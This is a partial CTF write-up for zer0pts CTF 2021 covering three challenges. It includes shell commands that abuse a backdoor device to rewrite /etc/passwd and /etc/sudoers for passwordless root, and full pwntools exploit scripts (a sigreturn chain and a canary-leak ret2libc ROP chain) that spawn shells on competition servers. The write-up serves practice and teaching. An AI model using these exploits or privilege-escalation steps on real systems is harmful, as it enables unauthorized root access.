[zer0pts CTF 2021] Partial Writeup
CTF Write-Up

[zer0pts CTF 2021] Partial Writeup

Infected

The goal of this problem is to access /root directory. Upon extraction, the backdoor file and the pow.py file are located.

First, let's analyze pow.py.

"""
i.e.
sha256("????v0iRhxH4SlrgoUd5Blu0") = b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c

Suffix: v0iRhxH4SlrgoUd5Blu0
Hash: b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c
"""
import itertools
import hashlib
import string

table = string.ascii_letters + string.digits + "._"

suffix = input("Suffix: ")
hashval = input("Hash: ")

for v in itertools.product(table, repeat=4):
    if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval:
        print("[+] Prefix = " + ''.join(v))
        break
else:
    print("[-] Solution not found :thinking_face:")

Well, maybe we should match the ????. In other words, it is a 4bytes bruteforce attack. This PoW can be bypassed using itertools. This is a payload for bypassing.

from pwn import *

import itertools
import hashlib
import string

p = remote('any.ctf.zer0pts.com', 11011)
p.recvuntil('????')
suffix = p.recv(20)
print(suffix)

p.recvuntil(' = ')
hashval = p.recv(64)
print(hashval)

table = string.ascii_letters + string.digits + "._"
answer = ''

for v in itertools.product(table, repeat=4):
    if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval:
        answer += ''.join(v)
        print(v)
        break

p.sendline(answer)

p.interactive()

When this payload is executed, it is connected to the qemu environment as follows:

 

Let's find the backdoor file given earlier.

find / -name backdoor

Let's check the information with ls command.

 

Oh.. It is a character device! Now, let's analyze the backdoor file.

 

unsigned __int64 __fastcall backdoor_write(__int64 a1, const char *a2, size_t a3)
{
  int v3; // eax
  size_t n; // [rsp+18h] [rbp-D8h]
  char *s; // [rsp+30h] [rbp-C0h]
  const char *s1; // [rsp+38h] [rbp-B8h]
  char *file; // [rsp+40h] [rbp-B0h]
  const char *nptr; // [rsp+48h] [rbp-A8h]
  char v10; // [rsp+50h] [rbp-A0h]
  int v11; // [rsp+68h] [rbp-88h]
  unsigned __int64 v12; // [rsp+E8h] [rbp-8h]

  n = a3;
  v12 = __readfsqword(0x28u);
  s = strndup(a2, a3);
  if ( s )
  {
    s1 = strtok(s, ":");
    file = strtok(0LL, ":");
    nptr = strtok(0LL, ":");
    if ( s1 && file && nptr )
    {
      if ( !strncmp(s1, "b4ckd00r", 8uLL) )
      {
        stat64(file, (struct stat64 *)&v10);
        if ( (v11 & 0xF000) != 0x8000 || (v3 = atoi(nptr), chmod(file, v3)) )
          fuse_reply_err(a1, 22LL);
        else
          fuse_reply_write(a1, n);
      }
      else
      {
        fuse_reply_err(a1, 22LL);
      }
    }
    else
    {
      fuse_reply_err(a1, 22LL);
    }
    free(s);
  }
  else
  {
    fuse_reply_err(a1, 22LL);
  }
  return __readfsqword(0x28u) ^ v12;
}

Apparently, if you write to a character device, this logic is executed. The logic performs the corresponding action when the next string format is written.

Format: b4ckd00r:<path>:chmod
ex) b4ckd00r:/etc/passwd:0127 => chmod 0127 /etc/passwd

But I thought the chmod number was a bit strange, so I found the rwx value randomly. (0127)

We need to get root privileges to access /root. Oh, for your information, /root's authority cannot be changed. So we will use /etc/sudoers file to access root. Before that, sudo should have the account information written on the passwd, so let's modify the permissions in the /etc/passwd file and put the sudo account information.

echo 'b4ckdoor:/etc/passwd:0127' > /dev/backdoor
echo 'sudo:x:1000:1000:root:/root:/bin/sh' >> /etc/passwd

However, we need to know the password to use sudo, but we don't know the password! So we will modify the config of the sudoers file so that the password is not asked.

echo 'b4ckd00r:/etc/sudoers:4124' > /dev/backdoor
echo 'sudo ALL=NOPASSWD: ALL' >> /etc/sudoers
sudo -i

 

Not Beginner's Stack

global _start
section .text

%macro call 1
;; __stack_shadow[__stack_depth++] = return_address;
  mov ecx, [__stack_depth]
  mov qword [__stack_shadow + rcx * 8], %%return_address
  inc dword [__stack_depth]
;; goto function
  jmp %1
  %%return_address:
%endmacro

%macro ret 0
;; goto __stack_shadow[--__stack_depth];
  dec dword [__stack_depth]
  mov ecx, [__stack_depth]
  jmp qword [__stack_shadow + rcx * 8]
%endmacro

_start:
  call notvuln
  call exit

notvuln:
;; char buf[0x100];
  enter 0x100, 0
;; vuln();
  call vuln
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x100);
  mov edx, 0x100
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return 0;
  xor eax, eax
  ret

vuln:
;; char buf[0x100];
  enter 0x100, 0
;; write(1, "Data: ", 6);
  mov edx, 6
  mov esi, msg_data
  xor edi, edi
  inc edi
  call write
;; read(0, buf, 0x1000);
  mov edx, 0x1000               ; [!] vulnerability
  lea rsi, [rbp-0x100]
  xor edi, edi
  call read
;; return;
  leave
  ret

read:
  xor eax, eax
  syscall
  ret

write:
  xor eax, eax
  inc eax
  syscall
  ret

exit:
  mov eax, 60
  syscall
  hlt

section .data
msg_data:
  db "Data: "
__stack_depth:
  dd 0

section .bss
__stack_shadow:
  resb 1024

This is source code of the program

in this code, ";;" is a just comment line.

So, the program starts with '_start' function, and calls notvlun. It calls vlun, and exit;

 

There is no "RET" in this program. Instead, there is a table that includes return addresses. (@0x600234)

 

In vlun function, We can exploit RBP register. so In not_vlun function, We can write in arbitary address(AAW)

 

and RBP register was exploited. we can RTL chaining. with "leave ret" gadget.

 

so we can use sigreturn syscall and exploit (use bss, aaw, rtl-chaining)

from pwn import *

#p = process("./chall")
p = remote("pwn.ctf.zer0pts.com", 9011)
rbp = 0x600234 + 0x8
system = p64(0x400207)
binsh = p64(rbp + 0x8)

#gdb.attach(p)
#sleep(1.2)

pay = b'a'*0x100
pay += p64(rbp + 0x100)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)
pay += p64(0x0)

pay += binsh
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(0x3b)
pay += p64(0)
pay += p64(rbp + 0x200)
pay += system
pay += p64(0x202)
pay += p64(0x33)
pay += p64(0)
pay += p64(0)
pay += p64(0x2b)
p.sendlineafter("Data: ", pay)

pay = system
pay += b'/bin/sh'
p.sendafter("Data: ", pay)

p.interactive()

This is exploit code.

 

stopwatch

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>

char name[0x80];

void readuntil(char t) {
  char c;
  do {
    c = getchar();
    if (c == EOF) exit(1);
  } while(c != t);
}

int ask_again(void) {
  char buf[0x10];
  printf("Play again? (Y/n) ");
  scanf("%s", buf);
  readuntil('\n');
  if (buf[0] == 'n' || buf[0] == 'N')
    return 0;
  else
    return 1;
}

void ask_time(double *t) {
  printf("Time[sec]: ");
  scanf("%lf", t);
  readuntil('\n');
}

double play_game(void) {
  struct timeval start, end;
  double delta, goal, diff;

  ask_time(&goal);
  printf("Stop the timer as close to %lf seconds as possible!\n", goal);
  puts("Press ENTER to start / stop the timer.");

  readuntil('\n');
  gettimeofday(&start, NULL);
  puts("Timer started.");

  readuntil('\n');
  gettimeofday(&end, NULL);
  puts("Timer stopped.");

  diff = end.tv_sec - start.tv_sec
    + (double)(end.tv_usec - start.tv_usec) / 1000000;

  if (diff == goal) {
    printf("Exactly %lf seconds! Congratulaions!\n", goal);
  } else if (diff < goal) {
    delta = goal - diff;
    printf("Faster by %lf sec!\n", delta);
  } else {
    delta = diff - goal;
    printf("Slower by %lf sec!\n", delta);
  }
  if (delta > 0.5) {
    puts("Too lazy. Try harder!");
  }

  return delta;
}

unsigned char ask_number(void) {
  unsigned int n;
  printf("How many times do you want to try?\n> ");
  scanf("%d", &n);
  return (unsigned char)n;
}

void ask_name(void) {
  char _name[0x80];
  printf("What is your name?\n> ");
  scanf("%s", _name);
  strcpy(name, _name);
}

/**
 * Entry Point
 */
int main(void) {
  unsigned char i, n;
  double *records, best = 31137.31337;

  ask_name();
  n = ask_number();
  records = (double*)alloca(n * sizeof(double));

  for(i = 0; i < n; i++) records[i] = 31137.31337;

  for(i = 0; ; i++) {
    printf("-=-=-=-= CHALLENGE %03d =-=-=-=-\n", i + 1);
    records[i] = play_game();
    if (i >= n - 1) break;
    if (!ask_again()) break;
  }

  for(i = 0; i < n; i++) {
    if (best > records[i]) {
      best = records[i];
    }
  }
  puts("-=-=-=-= RESULT =-=-=-=-");
  printf("Name: %s\n", name);
  printf("Best Score: %lf\n", best);

  return 0;
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(300);
}

This is source code of the program.

we can find many BOF vulnerablities.

 

but there is canary bits, so we should leak it.

 

we will use func. alloca.

That function allocate memory in stack.

so we can control a position of stack frame(of play_game func). 

 

1. we can also control the position of goal var. in play_game func.

 

2. we can use vulnerablity of scanf.

when we write '-' in input of scanf in ask_time, scanf does write nothing and escape.

so stack dummy value is in goal var.

 

so we can leak canary use two things above.

 

so, we can ROP attack, let's play~

 

from pwn import *

#context.log_level = 'debug'

def double_to_hex(f):
    return hex(struct.unpack('<Q', struct.pack('<d', float(f)))[0])

elf = ELF("./chall")
libc = ELF("./libc.so.6")

while True:
    #p = process("./chall")
    p = remote("pwn.ctf.zer0pts.com", 9002)

    pr = p64(0x400e93) # pop rdi; ret;
    ppr = p64(0x400e91) # pop rsi; pop r15 ; ret;

    pay = b"A"*0xf + b"\x00"
    pay += b"/bin/sh"
    p.sendlineafter("> ", pay)
    p.sendlineafter("> ", "15")

    p.sendlineafter("Time[sec]: ", "-")

    p.recvuntil("close to ")
    canary = p.recvline()
    sIdx = canary.find(b" seconds")
    canary = canary[:-22]
    canary = double_to_hex(canary)
    print(canary)
    if canary == '0x8000000000000000':
        continue
    if eval(canary) != 0:
        break

#gdb.attach(p, "b *ask_again+115")
#sleep(1.2)

p.sendline("\n")

pay = b"A" * 0x18
pay += p64(int(canary, 16))
pay += b"A" * 0x8
pay += pr
pay += p64(0x601ff0)
pay += p64(elf.plt['puts'])
pay += p64(elf.symbols['ask_again'])
p.sendlineafter(" (Y/n) ", pay)

leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - libc.symbols['__libc_start_main']
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b'/bin/sh'))[0]

pay = b"A" * 0x18
pay += p64(int(canary, 16))
pay += b"A" * 0x8
pay += p64(0x4006a6)
pay += pr
pay += p64(binsh)
pay += p64(system)
p.sendlineafter(" (Y/n) ", pay)

p.interactive()

this is exploit code.